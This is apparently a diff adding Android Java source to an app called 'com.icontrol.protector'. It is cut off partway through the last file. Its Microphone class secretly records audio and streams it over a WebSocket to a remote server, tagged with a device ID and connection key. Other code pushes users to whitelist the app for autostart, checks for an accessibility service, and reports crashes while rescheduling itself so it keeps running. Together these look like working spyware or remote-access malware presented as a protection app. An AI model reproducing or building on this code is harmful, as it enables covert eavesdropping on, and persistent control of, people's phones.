private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_A = "com.huawei.systemmanager.startupmgr.ui.StartupNormalAppListActivity";
private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_B = "com.huawei.systemmanager.optimize.bootstart.BootStartActivity";
private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_C = "com.huawei.systemmanager.startupmgr.ui.StartupAwakedAppListActivity";
private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_D = "com.huawei.systemmanager.appcontrol.activity.StartupAppControlActivity";
private static final String BRAND_VIVO = "vivo";
private static final String PACKAGE_VIVO_MAIN = "com.iqoo.secure";
private static final String PACKAGE_VIVO_MAIN_B = "com.iqoo.powersaving";
private static final String PACKAGE_VIVO_FALLBACK = "com.vivo.permissionmanager";
private static final String PACKAGE_VIVO_COMPONENT = "com.iqoo.secure.ui.phoneoptimize.AddWhiteListActivity";
private static final String PACKAGE_VIVO_COMPONENT_FALLBACK = "com.vivo.permissionmanager.activity.BgStartUpManagerActivity";
private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A = "com.iqoo.secure.ui.phoneoptimize.BgStartUpManager";
private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A_B = "com.iqoo.powersaving.PowerSavingManagerActivity";
private static final String PACKAGE_VIVO_MAIN_A_A = "com.vivo.abe";
private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A_A = "com.vivo.applicationbehaviorengine.ui.ExcessivePowerManager";
private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A_A_A = "com.vivo.permissionmanager.activity.PurviewTabActivity";
private static final String BRAND_NOKIA = "nokia";
private static final String PACKAGE_NOKIA_MAIN = "com.evenwell.powersaving.g3";
private static final String PACKAGE_NOKIA_COMPONENT = "com.evenwell.powersaving.g3.exception.PowerSaverExceptionActivity";
private static final String BRAND_SAMSUNG = "samsung";
private static final String PACKAGE_SAMSUNG_MAIN = "com.samsung.android.lool";
private static final String PACKAGE_SAMSUNG_COMPONENT = "com.samsung.android.sm.ui.battery.BatteryActivity";
private static final String PACKAGE_SAMSUNG_COMPONENT_2 = "com.samsung.android.sm.battery.ui.usage.CheckableAppListActivity";
private static final String PACKAGE_SAMSUNG_COMPONENT_3 = "com.samsung.android.sm.battery.ui.BatteryActivity";
private static final String BRAND_OPPO = "oppo";
private static final String PACKAGE_OPPO_MAIN = "com.coloros.safecenter";
private static final String PACKAGE_OPPO_FALLBACK = "com.oppo.safe";
private static final String PACKAGE_OPPO_COMPONENT = "com.coloros.safecenter.permission.startup.StartupAppListActivity";
private static final String PACKAGE_OPPO_COMPONENT_FALLBACK = "com.oppo.safe.permission.startup.StartupAppListActivity";
private static final String PACKAGE_OPPO_COMPONENT_FALLBACK_A = "com.coloros.safecenter.startupapp.StartupAppListActivity";
private static final String PACKAGE_OPPO_COMPONENT_FALLBACK_A_A = "com.coloros.powermanager.fuelgaue.PowerUsageModelActivity";
private static final String BRAND_ONE_PLUS = "oneplus";
private static final String PACKAGE_ONE_PLUS_MAIN = "com.oneplus.security";
private static final String PACKAGE_ONE_PLUS_FALLBACK = "com.oplus.securitypermission";
private static final String PACKAGE_ONE_PLUS_COMPONENT = "com.oneplus.security.chainlaunch.view.ChainLaunchAppListActivity";
private static final String PACKAGE_ONE_PLUS_ACTION = "com.android.settings.action.BACKGROUND_OPTIMIZE";
private static final String PACKAGE_ONE_PLUS_COMPONENT_FALLBACK = "com.oplus.securitypermission.startup.StartupAppListActivity";
private static final String PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A = "com.oneplus.security.startupapp.StartupAppListActivity";
private static final String PACKAGE_ONE_PLUS_MAIN_A = "com.oplus.battery";
private static final String PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A_B = "com.oplus.powermanager.fuelgaue.PowerControlActivity";
private static final List<String> PACKAGES_TO_CHECK_FOR_PERMISSION = Arrays.asList(
PACKAGE_ASUS_MAIN,
PACKAGE_XIAOMI_MAIN,
PACKAGE_LETV_MAIN,
PACKAGE_ULONG_MAIN,
PACKAGE_HONOR_MAIN,
PACKAGE_MEIZU_MAIN,
PACKAGE_OPPO_MAIN,
PACKAGE_OPPO_FALLBACK,
PACKAGE_VIVO_MAIN,
PACKAGE_VIVO_FALLBACK,
PACKAGE_NOKIA_MAIN,
PACKAGE_HUAWEI_MAIN,
PACKAGE_ONE_PLUS_MAIN,
PACKAGE_ONE_PLUS_MAIN_A,
PACKAGE_ONE_PLUS_FALLBACK);
private MIUIAutoStart() {
}
public static MIUIAutoStart getInstance() {
if (instance == null) {
synchronized (MIUIAutoStart.class) {
if (instance == null) {
instance = new MIUIAutoStart();
}
}
}
return instance;
}
public static boolean isOppoOrOnePlus() {
String brand = Build.BRAND.toLowerCase(Locale.ROOT);
return brand.equals(BRAND_OPPO) || brand.equals(BRAND_ONE_PLUS);
}
public static boolean isSamsung() {
String brand = Build.BRAND.toLowerCase(Locale.ROOT);
return brand.equals(BRAND_SAMSUNG);
}
public static boolean isXiaomi() {
String brand = Build.BRAND.toLowerCase(Locale.ROOT);
return brand.equals(BRAND_XIAOMI) || brand.equals(BRAND_XIAOMI_POCO) || brand.equals(BRAND_XIAOMI_REDMI);
}
public boolean getAutoStartPermission(Context context) {
String brand = Build.BRAND.toLowerCase(Locale.ROOT);
switch (brand) {
case BRAND_ASUS:
return autoStartAsus(context);
case BRAND_XIAOMI:
case BRAND_XIAOMI_POCO:
case BRAND_XIAOMI_REDMI:
return autoStartXiaomi(context);
case BRAND_MEIZU:
return autoStartMeizu(context);
case BRAND_ULONG:
return autoStartUlong(context);
case BRAND_LETV:
return autoStartLetv(context);
case BRAND_HONOR:
return autoStartHonor(context);
case BRAND_HUAWEI:
return autoStartHuawei(context);
case BRAND_OPPO:
return autoStartOppo(context);
case BRAND_ONE_PLUS:
return autoStartOnePlus(context);
case BRAND_VIVO:
return autoStartVivo(context);
case BRAND_NOKIA:
return autoStartNokia(context);
default:
return false;
}
}
public boolean isAutoStartPermissionAvailable(Context context) {
List<ApplicationInfo> packages;
PackageManager pm = context.getPackageManager();
packages = pm.getInstalledApplications(0);
for (ApplicationInfo packageInfo : packages) {
if (PACKAGES_TO_CHECK_FOR_PERMISSION.contains(packageInfo.packageName)) {
return true;
}
}
return false;
}
private void startIntent(Context context, String packageName, String componentName) {
try {
Intent intent = new Intent();
intent.setComponent(new ComponentName(packageName, componentName));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
} catch (Exception exception) {
Log.e("MIUIAutoStart", "Error starting intent", exception);
}
}
private void startAction(Context context, String action) {
try {
Intent intent = new Intent();
intent.setAction(action);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
} catch (Exception exception) {
Log.e("MIUIAutoStart", "Error starting action", exception);
}
}
private boolean isPackageExists(Context context, String targetPackage) {
PackageManager pm = context.getPackageManager();
try {
pm.getPackageInfo(targetPackage, PackageManager.GET_ACTIVITIES);
return true;
} catch (PackageManager.NameNotFoundException e) {
return false;
}
}
private boolean autoStartXiaomi(Context context) {
if (isPackageExists(context, PACKAGE_XIAOMI_MAIN) || isPackageExists(context, "com.miui.powerkeeper")) {
try {
startIntent(context, PACKAGE_XIAOMI_MAIN, PACKAGE_XIAOMI_COMPONENT);
return true;
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Xiaomi auto start", e);
try{
startIntent(context, "com.miui.powerkeeper", PACKAGE_XIAOMI_COMPONENT_FALLBACK_A);
return true;
}catch (Exception a){
Log.e("MIUIAutoStart", "Error in Xiaomi auto start 2", e);
}
}
}
return false;
}
private boolean autoStartAsus(Context context) {
if (isPackageExists(context, PACKAGE_ASUS_MAIN)) {
try {
startIntent(context, PACKAGE_ASUS_MAIN, PACKAGE_ASUS_COMPONENT);
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Asus auto start", e);
try {
startIntent(context, PACKAGE_ASUS_MAIN, PACKAGE_ASUS_COMPONENT_FALLBACK);
} catch (Exception ex) {
Log.e("MIUIAutoStart", "Error in Asus fallback auto start", ex);
return false;
}
}
return true;
}
return false;
}
private boolean autoStartMeizu(Context context) {
if (isPackageExists(context, PACKAGE_MEIZU_MAIN)) {
try {
startIntent(context, PACKAGE_MEIZU_MAIN, PACKAGE_MEIZU_COMPONENT);
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Meizu auto start", e);
return false;
}
return true;
}
return false;
}
private boolean autoStartUlong(Context context) {
if (isPackageExists(context, PACKAGE_ULONG_MAIN)) {
try {
startIntent(context, PACKAGE_ULONG_MAIN, PACKAGE_ULONG_COMPONENT);
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Ulong auto start", e);
return false;
}
return true;
}
return false;
}
private boolean autoStartLetv(Context context) {
if (isPackageExists(context, PACKAGE_LETV_MAIN)) {
try {
startIntent(context, PACKAGE_LETV_MAIN, PACKAGE_LETV_COMPONENT);
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Letv auto start", e);
return false;
}
return true;
}
return false;
}
private boolean autoStartHonor(Context context) {
if (isPackageExists(context, PACKAGE_HONOR_MAIN)) {
try {
startIntent(context, PACKAGE_HONOR_MAIN, PACKAGE_HONOR_COMPONENT);
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Honor auto start", e);
return false;
}
return true;
}
return false;
}
private boolean autoStartHuawei(Context context) {
if (isPackageExists(context, PACKAGE_HUAWEI_MAIN)) {
try {
startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT);
return true;
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Huawei auto start", e);
try {
startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK);
return true;
} catch (Exception ex) {
Log.e("MIUIAutoStart", "Error in Huawei fallback auto start", ex);
try {
startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_A);
return true;
} catch (Exception ex1) {
Log.e("MIUIAutoStart", "Error in Huawei fallback A auto start", ex1);
try {
startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_B);
return true;
} catch (Exception ex2) {
Log.e("MIUIAutoStart", "Error in Huawei fallback B auto start", ex2);
try {
startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_C);
return true;
} catch (Exception ex3) {
Log.e("MIUIAutoStart", "Error in Huawei fallback C auto start", ex3);
try {
startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT_FALLBACK_D);
return true;
} catch (Exception ex4) {
Log.e("MIUIAutoStart", "Error in Huawei fallback D auto start", ex4);
}
}
}
}
}
}
}
return false;
}
private boolean autoStartOppo(Context context) {
if (isPackageExists(context, PACKAGE_OPPO_MAIN) ||
isPackageExists(context, PACKAGE_OPPO_FALLBACK) ||
isPackageExists(context, "com.coloros.oppoguardelf")) {
try {
startIntent(context, PACKAGE_OPPO_MAIN, PACKAGE_OPPO_COMPONENT);
return true;
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Oppo auto start", e);
try {
startIntent(context, PACKAGE_OPPO_FALLBACK, PACKAGE_OPPO_COMPONENT_FALLBACK);
return true;
} catch (Exception ex) {
Log.e("MIUIAutoStart", "Error in Oppo fallback auto start", ex);
try {
startIntent(context, PACKAGE_OPPO_MAIN, PACKAGE_OPPO_COMPONENT_FALLBACK_A);
return true;
} catch (Exception exx) {
Log.e("MIUIAutoStart", "Error in Oppo fallback A auto start", exx);
try{
//PACKAGE_OPPO_COMPONENT_FALLBACK_A_A
startIntent(context, "com.coloros.oppoguardelf", PACKAGE_OPPO_COMPONENT_FALLBACK_A_A);
return true;
}catch (Exception exxx){
Log.e("MIUIAutoStart", "Error in Oppo fallback A_A auto start", exxx);
return false;
}
}
}
}
}
return false;
}
private boolean autoStartOnePlus(Context context) {
if (isPackageExists(context, PACKAGE_ONE_PLUS_MAIN) || isPackageExists(context, PACKAGE_ONE_PLUS_FALLBACK) || isPackageExists(context, PACKAGE_ONE_PLUS_MAIN_A)) {
try {
startIntent(context, PACKAGE_ONE_PLUS_MAIN, PACKAGE_ONE_PLUS_COMPONENT);
return true;
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in OnePlus auto start", e);
try {
startIntent(context, PACKAGE_ONE_PLUS_FALLBACK, PACKAGE_ONE_PLUS_COMPONENT_FALLBACK);
return true;
} catch (Exception ex) {
Log.e("MIUIAutoStart", "Error in OnePlus fallback auto start", ex);
try {
startIntent(context, PACKAGE_ONE_PLUS_MAIN, PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A);
return true;
} catch (Exception exx) {
Log.e("MIUIAutoStart", "Error in OnePlus fallback A auto start", exx);
try {
startAction(context, PACKAGE_ONE_PLUS_ACTION);
return true;
} catch (Exception exxx) {
Log.e("MIUIAutoStart", "Error in OnePlus action auto start", exxx);
try {
startIntent(context, PACKAGE_ONE_PLUS_MAIN_A, PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A_B);
return true;
} catch (Exception exxxx) {
Log.e("MIUIAutoStart", "Error in OnePlus fallback B auto start", exxxx);
return false;
}
}
}
}
}
}
return false;
}
private boolean autoStartVivo(Context context) {
if (isPackageExists(context, PACKAGE_VIVO_MAIN) || isPackageExists(context, PACKAGE_VIVO_FALLBACK) || isPackageExists(context, PACKAGE_VIVO_MAIN_B) || isPackageExists(context, PACKAGE_VIVO_MAIN_A_A)) {
try {
startIntent(context, PACKAGE_VIVO_MAIN, PACKAGE_VIVO_COMPONENT);
return true;
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Vivo auto start", e);
try {
startIntent(context, PACKAGE_VIVO_FALLBACK, PACKAGE_VIVO_COMPONENT_FALLBACK);
return true;
} catch (Exception ex) {
Log.e("MIUIAutoStart", "Error in Vivo fallback auto start", ex);
try {
startIntent(context, PACKAGE_VIVO_MAIN, PACKAGE_VIVO_COMPONENT_FALLBACK_A);
return true;
} catch (Exception exx) {
Log.e("MIUIAutoStart", "Error in Vivo fallback A auto start", exx);
try {
startIntent(context, PACKAGE_VIVO_MAIN_A_A, PACKAGE_VIVO_COMPONENT_FALLBACK_A_A);
return true;
} catch (Exception exxx) {
Log.e("MIUIAutoStart", "Error in Vivo fallback A_A auto start", exxx);
try{
//PACKAGE_VIVO_COMPONENT_FALLBACK_A_A_A
startIntent(context, "com.vivo.permissionmanager", PACKAGE_VIVO_COMPONENT_FALLBACK_A_A_A);
return true;
}catch (Exception exxxx){
Log.e("MIUIAutoStart", "Error in Vivo fallback A_A_A auto start", exxxx);
return false;
}
}
}
}
}
}
return false;
}
private boolean autoStartNokia(Context context) {
if (isPackageExists(context, PACKAGE_NOKIA_MAIN)) {
try {
startIntent(context, PACKAGE_NOKIA_MAIN, PACKAGE_NOKIA_COMPONENT);
return true;
} catch (Exception e) {
Log.e("MIUIAutoStart", "Error in Nokia auto start", e);
return false;
}
}
return false;
}
}
@@ -0,0 +1,462 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.URL_SOCKT;
import android.content.Context;
import android.content.pm.PackageManager;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.media.audiofx.AcousticEchoCanceler;
import android.os.Build;
import android.util.Base64;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.app.ActivityCompat;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
public class Microphone {
private static OkHttpClient client;
private static boolean isActive = false;
private static boolean isPause = false;
private static int newSo;
private static int newRate;
public static WebSocket ws;
static int ch = AudioFormat.CHANNEL_CONFIGURATION_MONO;
static int aud = AudioFormat.ENCODING_PCM_16BIT;
public static void Start(final String audiorate,
final String source,
final String sokidf,
Context ctx){
new Thread(new Runnable() {
@Override
public void run() {
client = new OkHttpClient();
Request request = new Request.Builder().url(URL_SOCKT()).build();
ws = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
super.onClosing(webSocket, code, reason);
killall();
}
@Override
public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) {
super.onFailure(webSocket, t, response);
killall();
}
@Override
public void onOpen(WebSocket webSocket, Response response) {
Thread thread = new Thread() {
@Override
public void run() {
try {
isActive=true;
Object Syn_x1 = new Object();
AudioRecord rec = null;
try {
ByteArrayOutputStream BOS = new ByteArrayOutputStream();
try {
int so = Integer.valueOf(source);
int rate = Integer.valueOf(audiorate);
int buff = AudioRecord.getMinBufferSize(rate, ch, aud);
byte[] buffer = new byte[buff];
rec = initializeRecorder(so, rate,rec,buff);
if(rec == null){
return;
}
newSo = Integer.valueOf(source);
newRate = Integer.valueOf(audiorate);
int holder = 0;
ByteArrayOutputStream accumulatedBOS = new ByteArrayOutputStream();
int chunkSize = 20 * buffer.length; // Example: Accumulate 10000 buffers worth of data
String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY);
while (isActive) {
synchronized (Syn_x1) {
if (newSo != so || newRate != rate) {
so = newSo;
rate = newRate;
rec = initializeRecorder(so, rate, rec, buff);
}
rec.read(buffer, 0, buffer.length);
BOS.write(buffer, 0, buffer.length);
try {
if (!isPause) {
accumulatedBOS.write(buffer, 0, buffer.length);
holder += buffer.length;
if (holder >= chunkSize) {
byte[] pcmData = accumulatedBOS.toByteArray();
byte[] wavData = AudioUtils.addWavHeader(pcmData, rate, 1, 16);
try {
String VoiceSTR = Base64.encodeToString(wavData, Base64.DEFAULT);
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "mic");
jsonObject.put("voc", VoiceSTR);
String jsonData = jsonObject.toString();
Livemessage(ctx,jsonData, sokidf,conctkey);
} catch (Exception e) {
killall();
}
holder = 0;
accumulatedBOS.reset(); // Reset the accumulated buffer for the next chunk
}
}
} catch (Exception e) {
e.printStackTrace();
}
BOS.reset();
}
}
} catch (Exception e) {
killall();
} catch (OutOfMemoryError e) {
killall();
}
BOS.close();
} catch (Exception e) {
} catch (OutOfMemoryError e) {}
try{
if (rec != null) {
rec.stop();
rec.release();
}
} catch (Exception e) {}
} catch (Exception ex) {
ex.printStackTrace();
}
}
};
thread.start();
}
AudioRecord initializeRecorder(int so, int rate, AudioRecord rec,int buff) {
if (ActivityCompat.checkSelfPermission(ctx, android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
return null;
}
if (rec != null) {
rec.stop();
rec.release();
}
switch (so) {
case 1:
rec = new AudioRecord(MediaRecorder.AudioSource.MIC, rate, ch, aud, buff);
break;
case 2:
rec = new AudioRecord(MediaRecorder.AudioSource.VOICE_RECOGNITION, rate, ch, aud, buff);
break;
case 3:
rec = new AudioRecord(MediaRecorder.AudioSource.VOICE_COMMUNICATION, rate, ch, aud, buff);
break;
case 4:
rec = new AudioRecord(MediaRecorder.AudioSource.CAMCORDER, rate, ch, aud, buff);
break;
default:
rec = new AudioRecord(MediaRecorder.AudioSource.DEFAULT, rate, ch, aud, buff);
break;
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
try {
AcousticEchoCanceler.create(rec.getAudioSessionId());
} catch (Exception e) {
e.printStackTrace();
}
}
rec.startRecording();
return rec;
}
@Override
public void onMessage( WebSocket webSocket, String text) {
super.onMessage(webSocket, text);
try{
JSONObject Response = new JSONObject(text);
String msgtype = Response.optString("type","empty");
if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){
killall();
}
}catch (Exception a){}
}
private void Livemessage(Context ctx, String msg,String sokidf,String conctkey) {
if (ws != null) {
try {
String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid");
String IDF = MySettings.Read(ctx, Consts.THE_IDF, null);
String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null");
if(!sokidf.equals("null")){
IDF = sokidf;
}
if (Myid == null) {
return;
}
if (IDF == null) {
return;
}
JSONObject message = new JSONObject();
// message.put("userId", userid);
message.put("idf", IDF);
message.put("pid", Myid);
message.put("itype", "Slr_client");
message.put("subc", "msg");
message.put("msg", msg);
message.put("cip", CIP);
message.put("conk", conctkey);
// Send the JSON message as a string
ws.send(message.toString());
} catch (JSONException e) {
e.printStackTrace();
}
}
}
public void killall(){
isActive=false;
try{
if (ws != null) {
ws.cancel();
ws = null;
}
if (client != null) {
client.dispatcher().cancelAll();
client.connectionPool().evictAll();
client.dispatcher().executorService().shutdown();
client = null;
}
}catch (Exception s){
}
}
});
}
}).start();
}
public static void Stop(){
isActive=false;
try{
if (ws != null) {
ws.cancel();
ws = null;
}
if (client != null) {
client.dispatcher().cancelAll();
client.connectionPool().evictAll();
client.dispatcher().executorService().shutdown();
client = null;
}
}catch (Exception s){
}
}
public static void Pause(boolean state){
isPause=state;
}
public static void ChangeRate(int newvalue){
newRate = newvalue;
}
public static void ChangeSrc(int newvalue){
newSo = newvalue;
}
// private void inp(final String h ,final String p,final String HnD,final String key0,final String ca, final String ra ,final Context ctx){
// new Thread(new Runnable() { @Override
// public void run() {
// Socket sk = null;
// OutputStream out = null;
// DataInputStream in = null;
// boolean ctd = false;
// Object Syn_x1 = new Object();
// Object Syn_x2 = new Object();
// int test = 0;
// do {
// if (test >= 3){
// return;
// }
// try {
// InetAddress ip;
// ip = InetAddress.getByName(h);
// InetSocketAddress sock = new InetSocketAddress(ip, Integer.valueOf(p));
// sk = new Socket();
// sk.setSoTimeout(0);
// sk.setKeepAlive(true);
// sk.connect(sock, 60000);
// ctd = sk.isConnected();
// if (ctd == true) {
// sk.setSendBufferSize(1023);
// sk.setReceiveBufferSize(1023);
// out = sk.getOutputStream();
// synchronized (Syn_x1){
// if(out != null){
// String info = key0 + SPL_ARRAY + HnD + SPL_ARRAY + ra;
// byte[] b0 = f(key0,info.getBytes());
// sk.setSendBufferSize(b0.length);
// out = sk.getOutputStream();
// in = new DataInputStream(new BufferedInputStream(sk.getInputStream()));
// out.write(b0,0,b0.length);
// }
// }
// break;
// }
// } catch (UnknownHostException e) {
// di(sk,out,in);
// } catch (SocketException e) {
// di(sk,out,in);
// } catch (Exception e) {
// di(sk,out,in);
// }
// test++;
// try{ Thread.sleep(1);} catch (InterruptedException e) {}
// } while (ctd == false);
// int read;
// try{
// int rt = Integer.valueOf(ra);
// int intSize = AudioTrack.getMinBufferSize(rt,AudioFormat.CHANNEL_OUT_MONO , AudioFormat.ENCODING_PCM_16BIT);
// byte[] buff = new byte[intSize * 15];
// AudioTrack at = null;
// int so = Integer.valueOf(ca);
// if (so == 0){
// at = new AudioTrack(AudioManager.STREAM_VOICE_CALL, rt, AudioFormat.CHANNEL_OUT_MONO, AudioFormat.ENCODING_PCM_16BIT, intSize, AudioTrack.MODE_STREAM);
// }else if (so == 1){
// at = new AudioTrack(AudioManager.STREAM_MUSIC, rt, AudioFormat.CHANNEL_OUT_MONO, AudioFormat.ENCODING_PCM_16BIT, intSize, AudioTrack.MODE_STREAM);
// }
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
// try{
// AcousticEchoCanceler.create(at.getAudioSessionId());
// } catch (Exception e) {}}
// at.play();
// while ((read = in.read(buff)) > 0)
// {
// synchronized(Syn_x2){
// if (at!= null) {
// if (so == 0){
// VOICE_CALL(ctx);
// }else if (so == 1){
// MUSIC(ctx);
// }
// sk.setReceiveBufferSize(buff.length);
// at.write(buff, 0, read);
// }
// }
// }
// at.stop();
// at.release();
// }catch (SocketException e) {
// }catch (SocketTimeoutException s) {
// }catch(OutOfMemoryError e){
// }catch (Exception e) {}
// try{ Thread.sleep(1000L);} catch (InterruptedException e) {}
// di(sk,out,in);
// }}).start();
// }
// private AudioManager aum = null;
// private void MUSIC(Context ctx){
// try {
// if (aum == null ){
// aum = (AudioManager)ctx.getSystemService(Context.AUDIO_SERVICE);
// }
// if (aum != null ){
// int max = aum.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
// int val = aum.getStreamVolume(AudioManager.STREAM_MUSIC);
// if (max != val){
// aum.setStreamVolume(AudioManager.STREAM_MUSIC, max, 0);
// }
// }
// } catch (Exception e) {}
// }
// private AudioManager auv = null;
// private void VOICE_CALL(Context ctx){
// try {
// if (auv == null ){
// auv = (AudioManager)ctx.getSystemService(Context.AUDIO_SERVICE);
// }
// if (auv != null ){
// int max = auv.getStreamMaxVolume(AudioManager.STREAM_VOICE_CALL);
// int val = auv.getStreamVolume(AudioManager.STREAM_VOICE_CALL);
// if (max != val){
// auv.setStreamVolume(AudioManager.STREAM_VOICE_CALL, max, 0);
// }
// }
// } catch (Exception e) {}
// }
}
@@ -0,0 +1,94 @@
package com.icontrol.protector;
import static android.content.Context.ACTIVITY_SERVICE;
import android.app.ActivityManager;
import android.content.ComponentName;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.RectF;
import android.provider.Settings;
import android.text.TextUtils;
public class MyCods {
public static boolean isServiceRunning(Context ctx, Class<?> serviceClass){
ActivityManager manager = (ActivityManager) ctx.getSystemService(ACTIVITY_SERVICE);
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE))
{
if (serviceClass.getName().equals(service.service.getClassName()))
{
return true;
}
}
return false;
}
public static boolean is_Access_Enabled(Context context, Class < ? > accessibilityService) {
try {
ComponentName expectedComponentName = new ComponentName(context, accessibilityService);
String enabledServicesSetting = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
if (enabledServicesSetting == null)
return false;
TextUtils.SimpleStringSplitter colonSplitter = new TextUtils.SimpleStringSplitter(':');
colonSplitter.setString(enabledServicesSetting);
while (colonSplitter.hasNext()) {
String componentNameString = colonSplitter.next();
ComponentName enabledService = ComponentName.unflattenFromString(componentNameString);
if (enabledService != null && enabledService.equals(expectedComponentName))
return true;
}
} catch (Exception ex) {
// SettingsToAdd(context, consts.LogSMS , consts.string_189 + ex.toString() + consts.string_119);
}
return false;
}
public static Bitmap scaleCenterCrop(Bitmap source, int newHeight, int newWidth) {
int sourceWidth = source.getWidth();
int sourceHeight = source.getHeight();
float xScale = (float) newWidth / sourceWidth;
float yScale = (float) newHeight / sourceHeight;
float scale = Math.max(xScale, yScale);
float scaledWidth = scale * sourceWidth;
float scaledHeight = scale * sourceHeight;
float left = (newWidth - scaledWidth) / 2;
float top = (newHeight - scaledHeight) / 2;
RectF targetRect = new RectF(left, top, left + scaledWidth, top + scaledHeight);
Bitmap dest = Bitmap.createBitmap(newWidth, newHeight, source.getConfig());
Canvas canvas = new Canvas(dest);
canvas.drawBitmap(source, null, targetRect, null);
return dest;
}
// public static String toBase64(String message) {
// byte[] data;
// try {
// data = message.getBytes("UTF-8");
// String base64Sms = Base64.encodeToString(data, Base64.DEFAULT);
// return base64Sms;
// } catch (UnsupportedEncodingException e) {
// }
// return message;
// }
// static Random rand ;
//static int cont = 0;
// public static String Str_Num_Random(){
// if(rand == null){
// rand = new Random();
// }
// String Allnums = "0123456789";
// String holder ="";
//
// do {
// holder += Allnums.charAt(rand.nextInt(Allnums.length()));
// }while (holder.length() < 10);
// cont+=1;
// return holder+String.valueOf(cont);
// }
}
@@ -0,0 +1,122 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.URL_ERROR;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.util.Log;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
public class MyExceptionHandler implements Thread.UncaughtExceptionHandler {
private final Context context;
private final Thread.UncaughtExceptionHandler defaultUEH;
public MyExceptionHandler(Context context) {
this.context = context;
this.defaultUEH = Thread.getDefaultUncaughtExceptionHandler();
}
@Override
public void uncaughtException(Thread thread, Throwable throwable) {
// Convert the stack trace to a string
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
throwable.printStackTrace(pw);
String stackTrace = sw.toString();
// Gather device and environment details
String timestamp = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()).format(new Date());
String phoneModel = Build.MODEL;
String androidVersion = Build.VERSION.RELEASE;
String errorDetails = String.format(
"Timestamp: %s\nPhone Model: %s\nAndroid Version: %s\nThread: %s\nStack Trace:\n%s",
timestamp, phoneModel, androidVersion, thread.getName(), stackTrace
);
String mainTitle = throwable.getClass().getSimpleName();
// Log the exception
Log.e("UncaughtException", errorDetails);
// Send the error details to the server
sendErrorToServer(errorDetails,mainTitle);
// Schedule jobs or alarms as necessary
JobSchedulerUtil.scheduleJob(context);
AlarmHelper.setAlarm(context);
// Kill the process
System.exit(0);
}
private void sendErrorToServer(String errorDetails, String mainTitle) {
// Use an AsyncTask or another threading mechanism to send the data
new Thread(() -> {
try {
URL url = new URL(URL_ERROR()); // Replace with your server URL
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// Encode the error details and main title
String postData = "error_log=" + URLEncoder.encode(errorDetails, "UTF-8")
+ "&error_title=" + URLEncoder.encode(mainTitle, "UTF-8");
// Write the data to the output stream
OutputStream os = connection.getOutputStream();
os.write(postData.getBytes("UTF-8"));
os.flush();
os.close();
// Get the response code
int responseCode = connection.getResponseCode();
// Read the server's response
